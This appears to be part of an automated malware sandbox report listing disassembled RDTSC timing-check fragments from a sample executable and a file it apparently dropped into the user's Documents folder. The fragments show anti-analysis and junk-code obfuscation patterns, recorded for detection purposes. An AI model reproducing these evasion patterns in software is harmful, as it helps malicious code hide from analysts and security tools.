Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530092C second address: 53009B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov di, 0876h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d jmp 00007FD4BD4D2D4Dh 0x00000012 pop esi 0x00000013 pushad 0x00000014 call 00007FD4BD4D2D4Ch 0x00000019 pushfd 0x0000001a jmp 00007FD4BD4D2D52h 0x0000001f or ch, FFFFFFC8h 0x00000022 jmp 00007FD4BD4D2D4Bh 0x00000027 popfd 0x00000028 pop esi 0x00000029 movsx edi, ax 0x0000002c popad 0x0000002d pop ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FD4BD4D2D4Dh 0x00000037 xor ch, FFFFFFE6h 0x0000003a jmp 00007FD4BD4D2D51h 0x0000003f popfd 0x00000040 call 00007FD4BD4D2D50h 0x00000045 pop eax 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009B4 second address: 53009E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4BCDD306Eh 0x00000009 adc eax, 5E307CB8h 0x0000000f jmp 00007FD4BCDD306Bh 0x00000014 popfd 0x00000015 mov ecx, 00452CEFh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d leave 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009E7 second address: 53009EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009EB second address: 53009F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009F1 second address: 53009F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009F6 second address: 5300539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD4BCDD3072h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d retn 0008h 0x00000010 cmp dword ptr [ebp-2Ch], 10h 0x00000014 mov eax, dword ptr [ebp-40h] 0x00000017 jnc 00007FD4BCDD3065h 0x00000019 push eax 0x0000001a lea edx, dword ptr [ebp-00000590h] 0x00000020 push edx 0x00000021 call esi 0x00000023 push 00000008h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov dl, 85h 0x0000002a movzx esi, dx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AA8 second address: 5300AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AAC second address: 5300ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, si 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300ABF second address: 5300AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AC5 second address: 5300AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: B8EFE3 second address: B8EFEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0B79D second address: D0B7CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jng 00007FD4BCDD3066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD4BCDD306Dh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007FD4BCDD3070h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0A952 second address: D0A987 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD4BD4D2D53h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007FD4BD4D2D58h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0ABF3 second address: D0ABFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0AD5E second address: D0AD64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0AD64 second address: D0AD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0AD6A second address: D0AD6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0AD6E second address: D0AD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0B0A3 second address: D0B0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D4Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CA6B second address: D0CA8F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4BCDD3076h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CA8F second address: D0CB7D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4BD4D2D48h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dl, B0h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D3626h], edx 0x00000017 call 00007FD4BD4D2D49h 0x0000001c jmp 00007FD4BD4D2D51h 0x00000021 push eax 0x00000022 jp 00007FD4BD4D2D4Eh 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c jmp 00007FD4BD4D2D4Eh 0x00000031 mov eax, dword ptr [eax] 0x00000033 pushad 0x00000034 jmp 00007FD4BD4D2D52h 0x00000039 jmp 00007FD4BD4D2D4Bh 0x0000003e popad 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 jc 00007FD4BD4D2D50h 0x00000049 pop eax 0x0000004a mov dword ptr [ebp+122D1BD1h], ecx 0x00000050 push 00000003h 0x00000052 mov esi, ebx 0x00000054 push 00000000h 0x00000056 push ecx 0x00000057 call 00007FD4BD4D2D56h 0x0000005c call 00007FD4BD4D2D4Bh 0x00000061 pop edi 0x00000062 pop edx 0x00000063 pop edi 0x00000064 and cl, 00000004h 0x00000067 push 00000003h 0x00000069 mov edx, dword ptr [ebp+122D29FCh] 0x0000006f mov cx, di 0x00000072 call 00007FD4BD4D2D49h 0x00000077 jmp 00007FD4BD4D2D54h 0x0000007c push eax 0x0000007d jc 00007FD4BD4D2D4Eh 0x00000083 push ebx 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CB7D second address: D0CBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jbe 00007FD4BCDD3074h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jng 00007FD4BCDD3066h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CBA6 second address: D0CBDD instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4BD4D2D48h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007FD4BD4D2D4Bh 0x00000017 jmp 00007FD4BD4D2D56h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CC5D second address: D0CC67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD4BCDD3066h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CC67 second address: D0CD2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FD4BD4D2D48h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 add edx, dword ptr [ebp+122D2CD8h] 0x0000002e push 00000000h 0x00000030 jmp 00007FD4BD4D2D51h 0x00000035 push AE65FF0Ch 0x0000003a jne 00007FD4BD4D2D54h 0x00000040 add dword ptr [esp], 519A0174h 0x00000047 mov cx, di 0x0000004a push 00000003h 0x0000004c mov edx, dword ptr [ebp+122D2E00h] 0x00000052 jmp 00007FD4BD4D2D53h 0x00000057 push 00000000h 0x00000059 adc di, 9782h 0x0000005e push 00000003h 0x00000060 ja 00007FD4BD4D2D58h 0x00000066 jmp 00007FD4BD4D2D52h 0x0000006b or ecx, dword ptr [ebp+122D2B50h] 0x00000071 push 9BD52D9Eh 0x00000076 jc 00007FD4BD4D2D52h 0x0000007c je 00007FD4BD4D2D4Ch 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CE29 second address: D0CE67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4BCDD3078h 0x00000008 jmp 00007FD4BCDD306Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jmp 00007FD4BCDD306Fh 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CE67 second address: D0CE95 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jmp 00007FD4BD4D2D54h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 jc 00007FD4BD4D2D5Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CE95 second address: D0CEB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CEB3 second address: D0CEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CEB9 second address: D0CEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0CEBE second address: D0CEC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D1FCA5 second address: D1FCB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BCDD306Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D1FCB4 second address: D1FCCF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4BD4D2D48h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FD4BD4D2D4Ch 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2DC12 second address: D2DC1D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FD4BCDD3066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2DC1D second address: D2DC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD4BD4D2D53h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4BD4D2D56h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2DC55 second address: D2DC6C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4BCDD3066h 0x00000008 jmp 00007FD4BCDD306Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2DC6C second address: D2DC71 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2C063 second address: D2C080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD4BCDD3075h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2C080 second address: D2C087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2C087 second address: D2C08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2C08D second address: D2C093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2C88B second address: D2C894 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2C9E2 second address: D2C9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007FD4BD4D2D46h 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2CB3D second address: D2CB5D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jo 00007FD4BCDD3066h 0x00000013 push edi 0x00000014 pop edi 0x00000015 jne 00007FD4BCDD3066h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2CB5D second address: D2CB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2CB61 second address: D2CB67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2CB67 second address: D2CB7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD4BD4D2D50h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D24BED second address: D24BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D24BF1 second address: D24C00 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4BD4D2D46h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D24C00 second address: D24C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D03907 second address: D0391F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2CCF9 second address: D2CCFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2D3F6 second address: D2D3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2D3FA second address: D2D413 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4BCDD306Fh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2D413 second address: D2D419 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2D419 second address: D2D437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4BCDD3075h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2D70F second address: D2D731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D2D731 second address: D2D73F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD4BCDD3066h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D31CD9 second address: D31CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D31CDD second address: D31CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D31CE1 second address: D31CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD4BD4D2D4Ch 0x0000000e jnl 00007FD4BD4D2D46h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D31CF5 second address: D31D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD4BCDD3066h 0x00000009 jmp 00007FD4BCDD3078h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FD4BCDD3079h 0x00000015 popad 0x00000016 jmp 00007FD4BCDD3073h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D31D4E second address: D31D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D31D54 second address: D31D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jne 00007FD4BCDD3066h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D347B6 second address: D347EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FD4BD4D2D46h 0x00000009 pop ecx 0x0000000a jmp 00007FD4BD4D2D59h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jmp 00007FD4BD4D2D4Ch 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D347EB second address: D347F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D347F3 second address: D347F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D347F7 second address: D34807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FD4BCDD3066h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D34807 second address: D3480B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3480B second address: D34811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: CF2E1D second address: CF2E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: CF2E21 second address: CF2E3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3075h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: CF2E3A second address: CF2E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4BD4D2D59h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnc 00007FD4BD4D2D5Eh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007FD4BD4D2D4Ah 0x0000001d pushad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pushad 0x00000021 popad 0x00000022 jbe 00007FD4BD4D2D46h 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: CF2E95 second address: CF2E9A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D35535 second address: D3554B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3554B second address: D35550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D35550 second address: D3555A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD4BD4D2D46h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3555A second address: D3555E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
